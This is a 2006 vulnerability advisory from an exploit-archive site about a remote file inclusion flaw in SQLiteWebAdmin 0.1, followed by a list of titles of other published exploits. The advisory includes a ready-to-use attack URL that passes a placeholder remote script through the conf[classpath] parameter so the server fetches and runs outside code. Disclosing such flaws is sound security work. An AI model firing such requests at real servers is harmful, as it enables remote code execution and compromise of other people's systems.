exploits , vulnerabilities , articles , SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability

2006-08-07

SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability

Rated as : High Risk

SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin

SQLiteWebAdmin is a simple PHP program for administrating
a SQL DataBase.

It suffers of a Remote File Inclusion Vulnerability.

The bug is in the "tpl.inc.php" program in the "lib"
directory, and is exploited when passing the parameter
"conf[classpath]".

http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT]

Succesfull explotation, needs register_globals=on

Att.
SirDarckCat
elhacker.net
securitydot.net - 2006-08-07

Exploits - newest 10 RSS | More

2007-06-15 57314 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34230 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42468 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29353 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19787 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16723 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19428 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16608 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33631 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17247 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit